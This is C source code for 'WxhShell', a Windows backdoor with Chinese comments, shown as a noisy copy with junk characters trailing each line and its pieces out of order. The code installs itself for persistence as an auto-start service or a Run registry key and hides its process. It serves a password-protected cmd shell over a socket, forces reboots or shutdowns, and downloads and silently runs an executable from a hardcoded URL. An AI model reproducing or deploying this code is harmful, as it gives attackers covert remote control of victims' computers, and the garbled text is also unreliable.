    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pJv?  
    else { =)zq %d?i;  
    closesocket(wsh); R/Y/#X^b  
    ExitThread(0); 9e1 6 g  
    } vfbe=)}[  
    break; ROjjN W`W  
    } -DuiK:mp  
  // 获取shell ^6 LFho4  
  case 's': { {&<}*4D  
    CmdShell(wsh); 7O9s 5  
    closesocket(wsh); XeB>V.<y  
    ExitThread(0); 2?r8>#_*  
    break; K?;p:  
  } ;OPCBdr  
  // 退出 NSgHO`gU8  
  case 'x': { fhY[I0;}$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); y="SzPl  
    CloseIt(wsh); 8x9kF]=  
    break; O\LW 8\M  
    } b "Mq7&cf  
  // 离开 ~`})x(!  
  case 'q': { _eQ P0N  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !Q(xOc9>Ug  
    closesocket(wsh); .#:,j1L"53  
    WSACleanup(); kdUGmR0d  
    exit(1); B![5+  
    break; VA%"IAl  
        } >#:/ GN?  
  } r~}}o o4K  
  } &V?q d{39  
IP'igX  
  // 提示信息 !1RV[b.8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [[ e| GQ  
} |x6mkSf]ke  
  } Z8&C-yCC  
&1p8#i  
  return; UTTC:=F+  
} ?:?4rIZ<  
}K>H S\e  
// shell模块句柄 )KqR8UO  
int CmdShell(SOCKET sock) <]'"e]  
{ >jX UO  
STARTUPINFO si; fl"y@;;#h  
ZeroMemory(&si,sizeof(si)); hf<$vRti>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Idlu1g  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; W"kw>JEt  
PROCESS_INFORMATION ProcessInfo; s\W  
char cmdline[]="cmd"; s3-ktZ@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <s-@!8*(  
  return 0; uit-Q5@~  
} aE BP9RX}z  
=4e=wAO(i  
// 自身启动模式 'Y[A'.*}4  
int StartFromService(void) , Ln   
{ b.4Xn0-M  
typedef struct $a\Uv0:xRx  
{ Fd[h9 G  
  DWORD ExitStatus; ,%h!%nz!  
  DWORD PebBaseAddress; [S]!+YBK  
  DWORD AffinityMask; EyPJvs  
  DWORD BasePriority; {(OIu]:  
  ULONG UniqueProcessId; 2 1~7{#  
  ULONG InheritedFromUniqueProcessId; P!y`$Ky&  
}   PROCESS_BASIC_INFORMATION; ?Y{^un  
F:J7|<J^F  
PROCNTQSIP NtQueryInformationProcess; A,gx5!J  
^QAiySR`0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; D4q >R;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .H^P2tp  
d>, V  
  HANDLE             hProcess; 20VVOnDY  
  PROCESS_BASIC_INFORMATION pbi; {KDgK  
Q)S>VDLA  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,<3uc  
  if(NULL == hInst ) return 0; :B=8_M  
CofH}-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); g(<T u^F  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]iDJ*!I  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  gt_X AH  
)_8}53C  
  if (!NtQueryInformationProcess) return 0; A/"}Y1#qX\  
OB6J.dF[%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); T;!ukGoFP  
  if(!hProcess) return 0; Ud#X@xK<h  
nMG rG  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8lOI\-  
0)AM-/"  
  CloseHandle(hProcess); ^Cg^ `n?@b  
ALd]1a&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); mP pvZ  
if(hProcess==NULL) return 0; 1OJ*wI*  
@Y UY9+D&  
HMODULE hMod; 4;C*Fa  
char procName[255]; PW%1xHLfk  
unsigned long cbNeeded; ivzAlwP  
+2DE/wE]e+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); b]*X<,p  
py{eX`(MS  
  CloseHandle(hProcess); '@TI48 J+  
h2wN<dJCM  
if(strstr(procName,"services")) return 1; // 以服务启动 aDL)|>"Q  
s=d+GMa  
  return 0; // 注册表启动 YwL`>?  
} gYatsFyL  
ZXsYn  
// 主模块 pI7Ssvi^  
int StartWxhshell(LPSTR lpCmdLine) -Z%F mv8  
{ bD35JG^&i  
  SOCKET wsl; ImIqD&a-h  
BOOL val=TRUE; r6`\d k  
  int port=0; ?7 #7:  
  struct sockaddr_in door; 2sKG(^=Z  
akT|Y4KxD  
  if(wscfg.ws_autoins) Install(); ]gu1#  
*URdd,){i  
port=atoi(lpCmdLine); lv4(4$T  
1SW4Y  
if(port<=0) port=wscfg.ws_port; #?9 Q{0e  
<cYp~e%xIw  
  WSADATA data; eC~ jgB  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :pwa{P  
|olNA*4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +?;j&p  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {XtoiI  
  door.sin_family = AF_INET; .Y1bY: =  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :NuR>~  
  door.sin_port = htons(port); 2"@Ft()]  
\c{R <Hh  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { GR%{T'ZD`  
closesocket(wsl); Q',m{;;  
return 1; QY@u}&m%o  
} o(qEkR:4kd  
R4b-M0H  
  if(listen(wsl,2) == INVALID_SOCKET) { vM`7s[oAK  
closesocket(wsl); 'M8aW!~  
return 1; 1Bg_FPu  
} EKuSnlTXba  
  Wxhshell(wsl); ?; [ T  
  WSACleanup(); S[mM4et|  
R:/ha(+  
return 0; R)+t]}  
xc;DdK=1X  
} VD$ Eb  
)~V }oKk0t  
// 以NT服务方式启动  H4:ZTl_$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +K^h!d]  
{ \D?:J3H*]  
DWORD   status = 0; ; 0ko@ \Lq  
  DWORD   specificError = 0xfffffff; bLbR IY"l  
Q[PK`*2)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]p]UTCo!'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Oz{%k#X-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; CISO<z0  
  serviceStatus.dwWin32ExitCode     = 0; :l,OalO  
  serviceStatus.dwServiceSpecificExitCode = 0; |]W2EV ,b  
  serviceStatus.dwCheckPoint       = 0; GK?4@<fY  
  serviceStatus.dwWaitHint       = 0; UTCzHh1  
_BS 9GB  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); gnLn7?  
  if (hServiceStatusHandle==0) return; qu~X.pW  
+Ok%e.\ZM  
status = GetLastError(); 6~8F!b2  
  if (status!=NO_ERROR) XErUS80  
{ K2rzhHfb  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; nY_?Jq  
    serviceStatus.dwCheckPoint       = 0; $`ztiVu3  
    serviceStatus.dwWaitHint       = 0; dE5D3ze  
    serviceStatus.dwWin32ExitCode     = status; S1b Au <  
    serviceStatus.dwServiceSpecificExitCode = specificError; W7=V{}b+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Qi9-z'  
    return; a#0;==#  
  } A:# k  
@r;wobt  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }Qr6 l/2  
  serviceStatus.dwCheckPoint       = 0; s8<gK.atl  
  serviceStatus.dwWaitHint       = 0; TDNf)Mm  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); PJLR<9  
} p &(OZJT  
v]"L]/"  
// 处理NT服务事件,比如:启动、停止  !HK^AwNY  
VOID WINAPI NTServiceHandler(DWORD fdwControl) bRo|uJ:d  
{  jz'<  
switch(fdwControl) Ne6}oQy(S`  
{ h<6UC%'ac  
case SERVICE_CONTROL_STOP: 0g=`DSC<(  
  serviceStatus.dwWin32ExitCode = 0; b]Z@^<_E  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; OCV+h'  
  serviceStatus.dwCheckPoint   = 0; Y[ zZw~yx  
  serviceStatus.dwWaitHint     = 0; .Zmp ,  
  { zsXpA0~3s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /rc%O*R  
  } v?:: |{  
  return; FjFMR 63  
case SERVICE_CONTROL_PAUSE: kkCZNQ~I  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; r[txlQI9  
  break; K^[#]+nQ  
case SERVICE_CONTROL_CONTINUE: Vb|#MNf)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Q<(YP.k  
  break; e}yX_Z'P<  
case SERVICE_CONTROL_INTERROGATE: ~I=Y{iM  
  break; zaimGMJ ,  
}; _D, ;MB&7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2 QTZwx  
} ]lOh&Cz[  
M8&}j  
// 标准应用程序主函数 An`3Ex[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) G}d-(X  
{ Cby;?F6w  
J^#:qk  
// 获取操作系统版本 N)2f7j4C &  
OsIsNt=GetOsVer(); K2)!h.W  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?~e3 &ux  
&53]sFZ  
  // 从命令行安装 OhZgcUqQ8  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4u;9J*r4  
Jju#iwb  
  // 下载执行文件 D;}xr_  
if(wscfg.ws_downexe) { !^oV #  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?%tMohL  
  WinExec(wscfg.ws_filenam,SW_HIDE); Dim> 7Wbh  
} dUrElXbXd  
{Azn&|%.t  
if(!OsIsNt) { F9"w6;hh  
// 如果时win9x,隐藏进程并且设置为注册表启动 <W8t|jt  
HideProc(); ^2D1`,|N  
StartWxhshell(lpCmdLine); XN=67f$Hw  
} HSUI${<  
else 2&mGT&HAVA  
  if(StartFromService()) 3f.b\4 U  
  // 以服务方式启动 u7%D6W~m0  
  StartServiceCtrlDispatcher(DispatchTable); 7cP@jj  
else ;ea] $9  
  // 普通方式启动 Rk<@?(l!6x  
  StartWxhshell(lpCmdLine); +j_ ;(Gw7  
>^Q&nkB"B  
return 0; PX: '/{V  
} SvM6iZ]  
@}p2aV59  
Pt:e!qX)  
6k{2 +P  
=========================================== Xazo 9J  
>zsid:  
hd\gH^wk  
:K`ESq!8u  
>WJf=F`_H  
;h6v@)#GX  
" ^H{R+}  
o./.Q9e7  
#include <stdio.h> 3`d}~v{  
#include <string.h> ? &G`{Ey  
#include <windows.h> [yl sz?  
#include <winsock2.h> j Uv!9Y}F  
#include <winsvc.h> w{[=l6L m  
#include <urlmon.h> +d+@u)6  
OaJB=J%  
#pragma comment (lib, "Ws2_32.lib") rk+#GO{  
#pragma comment (lib, "urlmon.lib") D0k 8^  
ZUz ^!d  
#define MAX_USER   100 // 最大客户端连接数 m }a|FS  
#define BUF_SOCK   200 // sock buffer |b-9b&  
#define KEY_BUFF   255 // 输入 buffer XBd>tdEP  
iHwLZ[O{  
#define REBOOT     0   // 重启 j?y LDLj  
#define SHUTDOWN   1   // 关机 S)QAXjH  
5w%_$x  
#define DEF_PORT   5000 // 监听端口 Vd".u'r  
V/ cP4{L  
#define REG_LEN     16   // 注册表键长度 (8v7|Pe8  
#define SVC_LEN     80   // NT服务名长度 V fv@7@q  
#-pc}Y|<  
// 从dll定义API 4h@Z/G!T3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]\/tVn.'  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >fH=DOz$&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); V .os  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `cPywn@uGZ  
D9`0Dr}/2  
// wxhshell配置信息 iXyO(w4D  
struct WSCFG { 0ye!R   
  int ws_port;         // 监听端口 M?=;JJ:  
  char ws_passstr[REG_LEN]; // 口令 xs\!$*R  
  int ws_autoins;       // 安装标记, 1=yes 0=no "ZTTg>r  
  char ws_regname[REG_LEN]; // 注册表键名 SyAvKd`g  
  char ws_svcname[REG_LEN]; // 服务名 \Mg`(,kwe  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 r]OK$Ql  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 z4 &iK)x  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !61Pl/uQ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;7N Z<k  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !"e5~7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hp{OL<2M  
nXjP x@  
}; ]f]<4HD=i  
J8Yd1.Qj  
// default Wxhshell configuration h3T9"w[  
struct WSCFG wscfg={DEF_PORT, -s6![eV  
    "xuhuanlingzhe", )lJao  
    1, a0Ik`8^`  
    "Wxhshell", rP!#RzL  
    "Wxhshell", 1sP dz L  
            "WxhShell Service", +7t6k7]c  
    "Wrsky Windows CmdShell Service", C7H/N<VAq  
    "Please Input Your Password: ", ^ wY[3"{  
  1, C> [ Uvc  
  "http://www.wrsky.com/wxhshell.exe", %cE 2s`  
  "Wxhshell.exe" S(\9T1DVe  
    }; 5OoN!TEM  
~G27;Npy  
// 消息定义模块 0\2\*I}?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; w '3#&k+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~4?9a(>3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; xQw7 :18wQ  
char *msg_ws_ext="\n\rExit."; O5H9Y}i]  
char *msg_ws_end="\n\rQuit."; 0oEOre3^%  
char *msg_ws_boot="\n\rReboot..."; <cA/<3k)  
char *msg_ws_poff="\n\rShutdown..."; Jvun?J m  
char *msg_ws_down="\n\rSave to "; L28*1]\Jh  
J[^}u_z  
char *msg_ws_err="\n\rErr!"; _0 gKK2  
char *msg_ws_ok="\n\rOK!"; 9<K j6t_  
0euuT@_$  
char ExeFile[MAX_PATH]; d&#~ h:~  
int nUser = 0; 2< hAa9y  
HANDLE handles[MAX_USER]; !Ci~!)$z6  
int OsIsNt; &i!vd/*WlD  
D5~n/.B"  
SERVICE_STATUS       serviceStatus; "QvmqI>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4e;QiTj  
8( b tZt  
// 函数声明 &sF^Fgg{  
int Install(void); -R{V-   
int Uninstall(void); Gn;@{x6  
int DownloadFile(char *sURL, SOCKET wsh); nNXgW  
int Boot(int flag); M`6y@<  
void HideProc(void); )G7=G+e;  
int GetOsVer(void); uIU5.\"s  
int Wxhshell(SOCKET wsl); f@co<iA  
void TalkWithClient(void *cs); y,pZTlE  
int CmdShell(SOCKET sock); }-~T<egF  
int StartFromService(void); )*c> |7G  
int StartWxhshell(LPSTR lpCmdLine); JF/,K"J  
YIR R=qpn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :$+-3_oLMQ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Hi]cxD*`  
ItVugI(^ C  
// 数据结构和表定义 ZIdA\_c  
SERVICE_TABLE_ENTRY DispatchTable[] = j1 =`|  
{ L4L2O7  
{wscfg.ws_svcname, NTServiceMain}, } G<rt  
{NULL, NULL} "`[!Lz  
}; >hH0Q5aL  
e6_ZjrQf  
// 自我安装 fg#x7v4O  
int Install(void) CIVnCy z  
{ 9_sA&2P{uV  
  char svExeFile[MAX_PATH]; -7!&@wuQ  
  HKEY key; Bvt@X   
  strcpy(svExeFile,ExeFile); TE )gVE]  
/.M+fr S  
// 如果是win9x系统,修改注册表设为自启动 bqQq=SO  
if(!OsIsNt) { Tlj:%yK2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !gnj]k&/c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .@Ut?G  
  RegCloseKey(key); <5=JE*s$NS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e|4&b@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >R/$1e1Y  
  RegCloseKey(key); #P#-xz  
  return 0; 7w;O}axI  
    } s( <uo{  
  } 8}w6z7e|{  
} 2 &Nb  
else { *Ei|fe$sa  
|w}xl'>q  
// 如果是NT以上系统,安装为系统服务  '8j$';&`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6dAEM;$_Z  
if (schSCManager!=0) 4em;+ >D6  
{ c"!lwm3b  
  SC_HANDLE schService = CreateService Vx_rc%'  
  ( `]Bxn) b(  
  schSCManager, ?[x49Ux,P  
  wscfg.ws_svcname, j]0^y}5f+s  
  wscfg.ws_svcdisp, P'MY[&|mM'  
  SERVICE_ALL_ACCESS, !se0F.K  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /WPv\L  
  SERVICE_AUTO_START, 4(l?uU$  
  SERVICE_ERROR_NORMAL, Nx#4W1B[`H  
  svExeFile, _if|TFw;h  
  NULL, r3rxC&  
  NULL, NrDi   
  NULL, W(fr<<hL  
  NULL, k#bu#YZk  
  NULL X}P$emr7  
  ); ENh!N4vbO  
  if (schService!=0) x( mE<UQN  
  { fQ>4MKLw=d  
  CloseServiceHandle(schService); B~'MBBD"  
  CloseServiceHandle(schSCManager); ;DnUQj  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7 1W5.!  
  strcat(svExeFile,wscfg.ws_svcname); j\RpO'+}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ZV}X'qGaq  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0i[zup  
  RegCloseKey(key); Wl^R8w#Z$  
  return 0; 1r r@  
    } "x'),  
  } EPW7+Ve  
  CloseServiceHandle(schSCManager); (wRBd  
} Wi n8LOC  
} 04!(okubyp  
hM@\RPsY  
return 1; O gmO&cE  
} (kTXP_  
Ja]o GT=e  
// 自我卸载 XC15K@K  
int Uninstall(void) YEjY8]t  
{ P];JKE%  
  HKEY key; gM;}#>6  
cd;NpN  
if(!OsIsNt) { ,gnQa  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FqA3  {  
  RegDeleteValue(key,wscfg.ws_regname); PM$Ee #62R  
  RegCloseKey(key); t qOi x/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $mco0 %$  
  RegDeleteValue(key,wscfg.ws_regname); &A!KJ.  
  RegCloseKey(key); Z#`0txCF  
  return 0; qUhRu>   
  } rqCa 2  
} 4lc)&  
} oL/o*^  
else { >Pe:I  
yt.c5> B^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^>~dlS  
if (schSCManager!=0) r -f  
{ !>;w!^U  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); OsW"CF2  
  if (schService!=0) MQcE6)  
  { Rag iV6c  
  if(DeleteService(schService)!=0) { <Mgf]v.QS  
  CloseServiceHandle(schService); yYAnwf  
  CloseServiceHandle(schSCManager); m>Ux`Gp+  
  return 0; -oBI+v&  
  } Wb=Jj 9;  
  CloseServiceHandle(schService); KS!yT_O  
  } 993d/z|DX  
  CloseServiceHandle(schSCManager); f==*"?6\  
} ;cSGlE |  
} m% bE-#  
|paP<$  
return 1; O4+F^+qN  
} SR*Gqx  
C@@$"}%v2  
// 从指定url下载文件 6c\DJD  
int DownloadFile(char *sURL, SOCKET wsh) D?u`  
{ *8!w&ME+.  
  HRESULT hr; OCx5/ 88X  
char seps[]= "/"; CV^0.  
char *token; hYvNcOSks  
char *file; Jirct,k  
char myURL[MAX_PATH]; r=csi  
char myFILE[MAX_PATH]; IhW7^(p\  
]t/f<jKN^  
strcpy(myURL,sURL); AUAI3K?  
  token=strtok(myURL,seps); &tBA^igXK  
  while(token!=NULL) 7z<Cu<  
  { nUqy1(  
    file=token; UD*+"~  
  token=strtok(NULL,seps); }'`xu9<  
  } <ZrFOb  
E/"SU*Co  
GetCurrentDirectory(MAX_PATH,myFILE); rbh[j@s@  
strcat(myFILE, "\\"); IIP.yyh>  
strcat(myFILE, file); Iq,v  
  send(wsh,myFILE,strlen(myFILE),0); fOW_h  
send(wsh,"...",3,0); t{ H 1u  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); G^KC&  
  if(hr==S_OK) {bTeAfbf]  
return 0; 0ny{)Sd6um  
else [a NhP;<  
return 1; Qu}N:P9l?X  
7:kCb[ji"  
} $nFAu}%C  
3uO8v{`  
// 系统电源模块 $`Rxn*}V4#  
int Boot(int flag) 7sguGwg)_  
{ w -dI<s  
  HANDLE hToken; /hfUPO5  
  TOKEN_PRIVILEGES tkp; ".M:`BoW4  
! OfO:L7-  
  if(OsIsNt) { S~|tfJpL  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); EOQaY  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~ a >S#S  
    tkp.PrivilegeCount = 1; h&$Py  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; S| "TP\o  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); D8 wG!X  
if(flag==REBOOT) { l]u7.~b  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) h {H]xe[Q  
  return 0; "MTq{f2?  
} pLJeajv)z  
else { 43F^J%G  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 'rh\CA/}D  
  return 0; iW-t}}Z>B  
} _;V YFs  
  } oo'iwq-\  
  else { :^.u-bHI  
if(flag==REBOOT) { R{ 4u|A?9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $WJy?_c  
  return 0; sHF%=Vu  
} XC2Q*Z  
else { H<{*ub4'L*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) lkyJ;}_**  
  return 0; }R\B.2#M_@  
} z(r" JNO@  
} #-A5Z;TD.  
. *Z#cq0  
return 1; s7AI:Zv  
} R<t&F\>  
8@Q"YA 3d+  
// win9x进程隐藏模块 P0Aas)!  
void HideProc(void) =$[W,+X6f  
{ HN^w'I'bp  
we @Yw6<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &4[<F"W>47  
  if ( hKernel != NULL ) <)"iL4 kDI  
  { td%Y4-+-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); sM<:C  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,Qga|n8C  
    FreeLibrary(hKernel); <'VA=orD  
  } Jr|K>  
Cnk#Ioz  
return; *:k~g].Iz  
} ;%M2x5  
r';Hxa '  
// 获取操作系统版本 P: jDB{  
int GetOsVer(void) #V,LNX)  
{ L,tZh0  
  OSVERSIONINFO winfo; 6 bYC  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -i2D#i'  
  GetVersionEx(&winfo); g6HphRJ5s  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (q0No26;(  
  return 1; 4,o %e,z  
  else ?]759,Q3L  
  return 0; q|?`Gsr  
} !^n1  
oD Q9.t  
// 客户端句柄模块 &II JKn|_  
int Wxhshell(SOCKET wsl) uv?8V@x2  
{ R994R@gz  
  SOCKET wsh; I3V{"Nx6  
  struct sockaddr_in client; X L{{7%j  
  DWORD myID; h2im sjf  
oNh68ON:c  
  while(nUser<MAX_USER) }x{rTEq  
{ g/fp45s  
  int nSize=sizeof(client); @'6S[zU  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); WK/b=p|#o  
  if(wsh==INVALID_SOCKET) return 1; %g2/ o^c*  
^Tb}]aHg  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [i2A{(x  
if(handles[nUser]==0) 1jR=h7^=  
  closesocket(wsh); Lg\8NtP   
else |?4~T:  
  nUser++; .aVHd<M  
  } F5 :2TEA  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); fzq'S]+  
(CKhY~,/u  
  return 0; ^T uP=q5?  
} PEOM1oY)w  
LZ=wz.'u  
// 关闭 socket FU [8:o62  
void CloseIt(SOCKET wsh) /y+;g{  
{ uD0(aqAZ  
closesocket(wsh); -N /8Ho  
nUser--; %OezaNOtm  
ExitThread(0); 48*Oh2BA  
} ,)B~cic'u  
0xvMR&.H  
// 客户端请求句柄 yBXkN&1=%;  
void TalkWithClient(void *cs) wsdB; 6%$  
{ Mm:a+T  
Mo:!jS~a(Z  
  SOCKET wsh=(SOCKET)cs; <=5,(a5g  
  char pwd[SVC_LEN]; -$sl!%HO%  
  char cmd[KEY_BUFF]; 6Y92&  
char chr[1]; 5p#o1I  
int i,j; T_5*iwI  
 8o%<.]   
  while (nUser < MAX_USER) { YG}p$\R  
U#UVenp@  
if(wscfg.ws_passstr) { L~?,6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (IO \+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EA%#/n  
  //ZeroMemory(pwd,KEY_BUFF); Sh~ 8jEk  
      i=0; ^-c si   
  while(i<SVC_LEN) { uJ) \P  
j:de}!wc  
  // 设置超时 flm,r<*}  
  fd_set FdRead; nkr,  
  struct timeval TimeOut; ^Yf)lV&[  
  FD_ZERO(&FdRead); O;&yA<  
  FD_SET(wsh,&FdRead); |2+F I<v4  
  TimeOut.tv_sec=8; qw Kh,[]  
  TimeOut.tv_usec=0; n41\y:CAo  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); y$r?t0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @'NaA SB  
W~+!"^<n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qI4R`P"  
  pwd=chr[0]; {8>_,z^P)  
  if(chr[0]==0xd || chr[0]==0xa) { ~NxoF  
  pwd=0; $+)x)1  
  break; 1VPN#Q!  
  } !kHyLEV  
  i++; n_!]B_Vd$  
    } o}AqNw60v  
B 3,ig9  
  // 如果是非法用户,关闭 socket 8' g*}[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =%nqMV(y  
} 6wvhvMkS  
{*5;:QnT  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /K Jx n6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9{]r+z:  
Y" ]eH{  
while(1) { Jj^<:t5{rN  
7]HIE]#  
  ZeroMemory(cmd,KEY_BUFF); 6Kv}2M')+  
@u'27c_<d3  
      // 自动支持客户端 telnet标准   2dV\=vd  
  j=0; [2H(yLwO  
  while(j<KEY_BUFF) { W<Vzd4hR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x x`8>2T#e  
  cmd[j]=chr[0]; {$QF*j  
  if(chr[0]==0xa || chr[0]==0xd) { scPq\Qd?O  
  cmd[j]=0; fb=$<0Ocj  
  break; k~s>8N:&G  
  } Y[8co<p  
  j++; c402pj  
    } 5\*wX.wp  
|Nx!g fU  
  // 下载文件 ?PxYS%D_L  
  if(strstr(cmd,"http://")) { m LxwJ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .]P;fCQmM  
  if(DownloadFile(cmd,wsh)) bEXHB  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jv{"R!e"P  
  else o!_; H}pq  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '8pPGh9D  
  } DSG +TA"  
  else { Ai_|)  
&u`rE""  
    switch(cmd[0]) { *p5T  
  ", Rw%_  
  // 帮助 !vo'8r?&  
  case '?': { 'FA)LuAok  
